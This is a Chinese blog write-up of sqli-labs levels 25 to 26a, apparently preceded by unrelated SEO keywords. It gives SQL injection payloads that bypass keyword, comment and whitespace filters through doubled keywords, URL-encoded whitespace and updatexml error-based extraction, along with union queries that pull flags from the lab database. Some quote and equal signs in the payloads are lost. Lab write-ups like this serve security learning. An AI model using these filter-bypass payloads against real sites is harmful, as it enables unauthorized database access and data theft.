discuz做服务网站,南阳网站排名优化,搭建什么网站能盈利,河北建设协会官方网站小歇了一天#xff0c;今天继续给大家带来sqli-labs靶场的解析文章#xff1b; 本文主要梳理 sqli-labs 第25到29关的过关思路#xff0c;简单分析源码中的过滤机制、闭合方式以及常见绕过方法#xff0c;涉及布尔盲注、过滤函数逆向、注入语句构造和自动化爆破等基础知识点…小歇了一天今天继续给大家带来sqli-labs靶场的解析文章本文主要梳理 sqli-labs 第25到29关的过关思路简单分析源码中的过滤机制、闭合方式以及常见绕过方法涉及布尔盲注、过滤函数逆向、注入语句构造和自动化爆破等基础知识点整体偏向实战操作逻辑。文章目录sqli-labs第25关 — GET型or and过滤注入绕过方法双写绕过符号替代sqli-labs第25a关 — GET型or and过滤int型注入sqli-labs第26关 — GET型过滤进阶注入绕过方法A. 双写绕过逻辑词 (OR / AND)B. URL编码绕过空格C. 绕过注释符D. 报错注入sqli-labs第26a关 — 布尔盲注尝试union联合注入布尔盲注总结sqli-labs第25关 — GET型or and过滤注入默认页面看来时过滤了or和and这两个关键词还是老样子先看源码blacklist() 函数试图通过preg_replace过滤掉敏感关键词绕过方法双写绕过绕过 OR使用oorr绕过 AND使用anandd绕过 ORDER BY注意 ORDER 中包含 OR会被过滤成 DER。因此需要写成oorrder by符号替代在 SQL 中除了单词外还可以使用符号来表示逻辑运算AND 可以替换为(在 URL 中需要 URL 编码为%26%26)OR 可以替换为||所以我们可以尝试一下上述方法# 测试回显?id1 oorrder by 1,2,3 -- da ?id1oorrder by1,2,3,4 -- da // 报错,只要三个回显# 测试数据库 information的 or 也要双写?id-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata -- da # 查表 得到flags ?id-1unionselect1,2,group_concat(table_name)from infoorrmation_schema.tables wheretable_schemactfshow-- da# 查列 得到flag4s?id-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schemactfshow aandnd table_nameflags -- da # 详细字段 得到ctfshow{0ff85553-0d32-4b3f-ab9b-a1446ee272d3} ?id-1unionselect1,2,group_concat(flag4s)from ctfshow.flags -- da结果如下sqli-labs第25a关 — GET型or and过滤int型注入查看源码其实就变了个闭合方式而已整型闭合默认页面如下直接上payload# 测试回显?id1oorrder by1,2,3 -- da ?id1oorrder by1,2,3,4 -- da // 报错,只要三个回显# 测试数据库 information的 or 也要双写?id-1 unionselect1,2,group_concat(schema_name)from infoorrmation_schema.schemata -- da# 查表 得到flags?id-1 unionselect1,2,group_concat(table_name)from infoorrmation_schema.tables wheretable_schemactfshow-- da# 查列 得到flag4s?id-1 unionselect1,2,group_concat(column_name)from infoorrmation_schema.columns wheretable_schemactfshowaandndtable_nameflags-- da# 详细字段 得到ctfshow{df6545e9-5b82-4541-ab28-138c946dee4d}?id-1 unionselect1,2,group_concat(flag4s)from ctfshow.flags -- da得到flagsqli-labs第26关 — GET型过滤进阶注入直接查看源码唯一的区别是多过滤了几个字符过滤对象正则表达式影响逻辑词/or/i,/and/i无法直接使用 OR、AND不区分大小写。注释符[#],[--],[\/\*]封杀了#、--和/* */。这意味着不能通过注释截断 SQL 后半部分的单引号。空格[\s]匹配任何空白字符空格、制表符、换页符等并将其直接删除。斜杠[\/\\\\]过滤了正斜杠/和反斜杠\。绕过方法A. 双写绕过逻辑词 (OR / AND)依然可以采用“双写绕过”因为preg_replace只执行一次替换。OR→ \rightarrow→oorr或者||AND→ \rightarrow→anandd或者%26%26B. URL编码绕过空格由于\s过滤了常见的空格和控制符我们需要寻找 MySQL 能够识别但正则未定义的替代方案。常用的技巧包括特殊编码(使用 URL 编码的控制字符)%a0(不换行空格) —— 在某些环境下有效。推荐%0a(换行)、%0b(垂直制表)、%0c(换页)、%0d(回车)%09C. 绕过注释符既然无法用#或--注释掉末尾的单引号必须闭合它。原句WHERE id$id LIMIT 0,1Payload 思路id1 [你的注入语句] 1or11这样末尾的 LIMIT 0,1会变成字符串的一部分或被逻辑运算连接。D. 报错注入我们利用updatexml()或extractvalue()配合报错并使用%0a代替空格用oorr绕过 or根据上述原理我们很容易可以构造出payload# 测试payload?id1%0a||11# 查数据库?id1anandd(updatexml(1,concat(0x7e,database(),0x7e),1))anandd1?id1%0a||(updatexml(1,concat(0x7e,database(),0x7e),1))anandd1?id1%0a||(updatexml(1,concat(0x7e,database(),0x7e),1))||1?id1anandd|(updatexml(1,concat(0x7e,database(),0x7e),1))||1此时的查询语句为SELECT * FROM users WHERE id1||(updatexml(1,concat(0x7e,security,0x7e),1))and1 LIMIT 0,1# 查表 得到flags?id1 || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schemactfshow))) ,1) || 11# 查列?id1||updatexml(1,concat(1,(SELECT (group_concat(column_name)) FROM (infoorrmation_schema.columns) WHERE (table_schemasecurity %26%26 table_name users))) ,1) || 11# 得到flag ctfshow{04327ac9-4178-4f98-b2f8-56dc342?id1 || updatexml(1,(select (flag4s) from (ctfshow.flags)),1) || 11# 获取第 30 个字符之后的内容 8-56dc342fb56d}?id1||updatexml(1,concat(0x7e,(select(substr(flag4s,30))from(ctfshow.flags))),1)||11// 用mid函数也行 ?id1||updatexml(1,concat(0x7e,(select(mid(flag4s,31,31))from(ctfshow.flags))),1)||11结果获取后半段获取第 30 个字符之后的内容我们利用substr(string, start, length)从第 30 个位置开始截取。用mid()函数也行后半段的内容包含了一点前半段的内容自己手动去除一下sqli-labs第26a关 — 布尔盲注直接查看源码其他并什么变化不过报错函数mysql_error()被过滤了所以先尝试一下联合注入尝试union联合注入此处就需要使用URL 编码来代替空格然后用 UNION 注入。判断有几列可用别忘了 “ORDER” 中的 “or” 被过滤掉了。?id1)%20oorrder%20by%201,2,3,4%20||(但很遗憾失败了布尔盲注这里使用脚本进行爆破我编的脚本返回为空。。。无语了若大家有成功的代码可以私信一下我总结期待下次再见